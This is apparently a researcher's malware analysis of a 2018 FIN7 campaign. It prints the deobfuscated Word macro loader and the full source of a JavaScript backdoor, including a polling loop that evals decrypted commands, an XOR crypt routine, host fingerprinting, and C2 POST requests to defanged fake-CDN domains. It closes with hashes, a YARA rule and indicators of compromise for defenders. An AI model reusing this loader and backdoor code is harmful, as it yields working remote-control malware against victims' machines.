#FIN7 Not Finished – Morphisec Spots New Attack Campaign https://t.co/cPDMQ8xNra by @smgoreli and @alongros #cybersecurity— Morphisec (@morphisec) November 21, 2018
Microsoft Office First-Stage VBA Macro Documents:
SHA256: 6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82
SHA256: f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8
SHA256: 63ff5d9c9b33512f0d9f8d153c02065c637b7da48d2c0b6f7114deae6f6d88aa
Obfuscated Lightweight JavaScript Backdoor
Deobfuscated Lightweight JavaScript Backdoor
I. Background & Summary
II. Malicious Microsoft Word Document First-Stage Macro
III. Deobfuscated Lightweight JavaScript Backdoor
A. “main”
B. “crypt_controller”
C. “id”
D. “get_path”
E. “send_data”
IV. Yara Signature: Possible FIN7 First-Stage Microsoft Word Document
FIN7 group remains to be one of the most formidable financially
motivated group, which is not only known for the large point-of-sale
breaches (including the alleged latest one of Burgerville
restaurant point-of-sale network) but also for its stealthy
persistence and sophisticated and persistent approach.
I highly recommend reading Morphisec’s blog titled “FIN7 Not Finished – Morphisec Spots New Campaign,” which details one of the latest FIN7 initial Word documents first-stage loaders with the deployed JavaScript backdoor.
It is also notable that they deploy lightweight JavaScript backdoor with communication over HTTPS mimicking Content Delivery Network (CDN) domains with the added search engine strings such as Google and ing creating bing-cdn[.]com, googleapi-cdn[.]com, & cisco-cdn[.]com.
In their backdoor code, they have the following hardcoded groups:
Hardcoded Groups |
---|
exchange |
work2 |
ico |
The following MITREEnterprise Attack – Attack Patterns are observed with the FIN7 campaign:
+ Spearphishing Attachment - T1193
+ Scripting - T1064
+ Masquerading - T1036
+ Deobfuscate/Decode Files or Information - T1140
+ Data Obfuscation - T1001
I. Malicious Microsoft Word Document First-Stage Macro
Essentially, the Microsoft Word document loaders do not rely on any on exploits but simply require a social-engineering trick to “Enable Macros.” Notably, to avoid process whitelisting of wscript, the macro logic copies the original JavaScript execution engine “wscript.exe” as “mses.exe” in %LOCALAPPDATA% and leverages a possible anti-analysis routine of checking the system drive size via GetDrive.TotalSize of more than 2456 bytes to possibly thwart anti-sandbox check.
The actual obfuscated Javascript backdoor is stored in UserForm object, which is also written to a disc as “errors.txt” in “%TEMP%”. The final execution of the backdoor is performed via this following command:
%LOCALAPPDATA%\mses.exe //b /e:jscript %temp%\errors.txt
Once it is done, the document macro runs a message box displaying “Decryption error” via MsgBox(“Decryption error”).
It is notable that the decryption message is also part of the document social engineering ruse “to decrypt document” as well as the subsequent “Decryption Error” coupled with the execution of “errors.txt” creates a plausible yet well-thought scenario of allowing possible “error” paths due to document errors.
//////////////////////////////////////////////
/////// FIN7 Deobfuscated Word Macro //////////
//////////////////////////////////////////////
Set CreateObjectScripting = CreateObject("Scripting.FileSystemObject")
Set CreateObjectWScriptShell = CreateObject("WScript.Shell")
SystemDrivePath = CreateObjectWScriptShell.ExpandEnvironmentStrings("%SystemDrive%")
Set GetDrivePath = CreateObjectScripting.GetDrive(SystemDrivePath)
DriveSize = GetDrivePath.TotalSize
If DriveSize > 2456 Then
TEMPPathErrorsTxt = CreateObjectWScriptShell.ExpandEnvironmentStrings("%temp%") \
& "\errors.txt"
FormCaptionHolder = UserForm1.NameForm.Caption
Set CreateFileHolder = CreateObjectScripting.CreateTextFile(TEMPPathErrorsTxt)
CreateFileHolder.WriteLine FormCaptionHolder
CreateFileHolder.Close
GetPathtoMsesExe = CreateObjectWScriptShell.ExpandEnvironmentStrings("%LOCALAPPDATA%") & \
"\mses.exe"
FileCopy "C:\\Windows\\System32\\wscript.exe", GetPathtoMsesExe
Shell "%LOCALAPPDATA%\mses.exe" & " //b /e:jscript " & "%temp%\errors.txt", False
Additionally, the second document contains the same exact reference to mysterious “cesar.exe” as detailed by Nick Carr.
#FIN7 is still active and getting in on the renamed legitimate binary trend
Why launch your JavaScript backdoor with wscript.exe when you can run it with cesar.exe?%𝚄𝚂𝙴𝚁𝙿𝚁𝙾𝙵𝙸𝙻𝙴%\𝙲𝚘𝚗𝚝𝚊𝚌𝚝𝚜\𝚌𝚎𝚜𝚊𝚛.𝚎𝚡𝚎 //𝙴:𝚓𝚜𝚌𝚛𝚒𝚙𝚝 %𝚃𝙴𝙼𝙿%\𝚜𝚎𝚝𝚝𝚒𝚗𝚐𝚜.𝚝𝚡𝚝 pic.twitter.com/bYwcF3xoOj
— Nick Carr (@ItsReallyNick) November 6, 2018
III. Deobfuscated Lightweight JavaScript Backdoor
The JavaScript contains five functions as follows:
The “main” function initiates a variable “ncommand”, which holds the “send_data” function with the arguments
“request” and “action=get_command”, true).
//////////////////////////////////////////////
/////// JS Backdroor "main" Function /////////
//////////////////////////////////////////////
function main() {
var ncommand = "";
ncommand = send_data("request", "action=get_command", true);
if (ncommand !== "no") {
try {
eval(crypt_controller("decrypt", ncommand));
} catch (e) {}
}
var random_knock = 120000 + (Math.floor(Math.random() * 16001) - 5000);
WScript.Sleep(random_knock);
main();
}
If the ncommand does not equal “no,” it runs an eval command via “crypt_controller” functions with the arguments “decrypt” and ncommand.
The backdoor leverages the variables “random_knock,” which equals 120000 leveraging random * 16001 – 5000, which is used with the WScript.Sleep command then it runs the main command again.
The unique machine is generated via the command running Date with the getUTCMilliseconds() parameters. It also deletes itself via GetFile.Type == “Application and length == 10 and deleteFile via ActiveOXbject.
B. “crypt_controller”
//////////////////////////////////////////////
// JS Backdroor "crypt_controller" Function //
//////////////////////////////////////////////
function crypt_controller(type, request) {
var encryption_key = "";
if (type === "decrypt") {
request = decodeURIComponent(request);
var request_split = request.split(")*(");
request = request_split[0];
encryption_key = request_split[1].split("");
} else {
encryption_key = (Math.floor(Math.random() * 9000) + 1000).toString().split("");
}
var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ encryption_key[i % encryption_key.length].charCodeAt(0);
output.push(String.fromCharCode(charCode));
}
var result_string = output.join("");
if (type === "encrypt") {
result_string = result_string + ")*(" + encryption_key.join("");
result_string = encodeURIComponent(result_string);
}
return result_string;
}
The decoding routine is a simple XOR loop decoding the content as follows joining the result_string via .join command.
var output = [];
for (var i = 0; i < request.length; i++) {
var charCode = request.charCodeAt(i) ^ \
encryption_key[i % encryption_key.length].charCodeAt(0);
output.push(String.fromCharCode(charCode));
}
b. If type parameter equals “encrypt”, the result_string is joined with “)*(” and passed encodeURIComponent.
C. “id”
"select * from Win32_NetworkAdapterConfiguration where ipenabled = true"
///////////////////////////////
// JS Backdroor "id" Function //
///////////////////////////////
function id() {
var lrequest = wmi.ExecQuery("select * from Win32_NetworkAdapterConfiguration \
where ipenabled = true");
var lItems = new Enumerator(lrequest);
for (; !lItems.atEnd(); lItems.moveNext()) {
var mac = lItems.item().macaddress;
var dns_hostname = lItems.item().DNSHostName;
if (typeof mac === "string" && mac.length > 1) {
if (typeof dns_hostname !== "string" && dns_hostname.length < 1) {
dns_hostname = "Unknown";
} else {
for (var i = 0; i < dns_hostname.length; i++) {
if (dns_hostname.charAt(i) > "z") {
dns_hostname = dns_hostname.substr(0, i) + "_" + \
dns_hostname.substr(i + 1);
}
}
}
return mac + "_" + dns_hostname;
}
}
}
D. “get_path”
//////////////////////////////////////
// JS Backdroor "get_path" Function //
//////////////////////////////////////
function get_path() {
var pathes = ["images", "image", "content", "fetch", "cdn"];
var files = ["create_logo", "get_image", "create_image", \
"show_ico", "show_png", "show_jpg"];
var path = pathes[Math.floor(Math.random() * pathes.length)] + "/" \
+ files[Math.floor(Math.random() * files.length)];
return "hxxps://bing-cdn[.]com/" + path;
}
hxxps://bing-cdn[.]com/fetch/show_jpg?request=page
hxxps://bing-cdn[.]com/images/get_image?request=page
hxxps://bing-cdn[.]com/image/show_ico?request=page
//////////////////////////////////////
// JS Backdroor "send_data" Function //
//////////////////////////////////////
function send_data(type, data, crypt) {
try {
var http_object = new ActiveXObject("MSXML2.ServerXMLHTTP");
if (type === "request") {
http_object.open("POST", get_path() + "?request=page", false);
data = "ytqikulpemsi=" + \
crypt_controller("encrypt", "group=exchange&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=" \
+ uniq_id + "&id=" + id() + "&" + data);
} else {
http_object.open("POST", get_path() + "?request=content&id=" + uniq_id, false);
if (crypt) {
data = crypt_controller("encrypt", data);
}
}
http_object.setRequestHeader("User-Agent", \
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/50.0");
http_object.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
http_object.setOption(2, 13056);
http_object.send(data);
return http_object.responseText;
} catch (e) {
return "no";
}
An example of the decoded full path is as follows:
group=work2&rt=0&secret=fghedf43dsSFvm03&time=120000&uid=208\
&id=00:0C:29:B4:CE:DC_WIN_NAME&action=get_command
ytqikulpemsi=TB_BC%0DUOPXQYTU%16EG%0D%11%40USEVD%0DQTXUSU%04%03S%40cvA%5E%03%11GY%5DR%0E\
%01%05%07%03%11FYT%0A%07%07%08%11ZT%0D%07%03%0At%09%02%09%0Dq%04%0Atv%0Attlgyy%1Eqr%07%\
05%03%09xe%04%09e%15QSCZ_%5E%0ATUDhP_%5DZR%5ET)*(3007
rule apt_win32_possible_fin7_doc {
meta:
description = "Detects possible FIN7 first-stage initial doc"
author = "@VK_Intel"
date = "2018-11-23"
hash1 = "f5f8ab9863dc12d04731b1932fc3609742de68252c706952f31894fc21746bb8"
hash2 = "6e1230088a34678726102353c622445e1f8b8b8c9ce1f025d11bfffd5017ca82"
strings:
$font = "{\\rtf1\\ansi\\ansicpg1252\\deff0\\nouicompat\\deflang1033{\\fonttbl{\\f0\\fnil MS Sans S" fullword wide
$userform = "Begin {C62A69F0-16DC-11CE-9E98-00AA00574A4F} UserForm1 " fullword ascii
$uniq_string = "C:\\Program Files\\Microsoft Office\\Office14\\MSWORD.OLB" fullword ascii
$x0 = "C:\\Users\\Administrator\\Downloads\\InkEd.dll" fullword ascii
$x1 = "C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\2\\Word8.0\\INKEDLib.exd" fullword ascii
$x2 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" fullword ascii
condition:
uint16(0) == 0xcfd0 and
filesize < 2000KB and ( 1 of ($x*) and $font and ( $uniq_string or $userform ) )
or ( all of them )
}
IV. Indicators of Compromise: Domains
hxxps://googleapi-cdn[.]com
hxxps://bing-cdn[.]com
hxxps://cisco-cdn[.]com/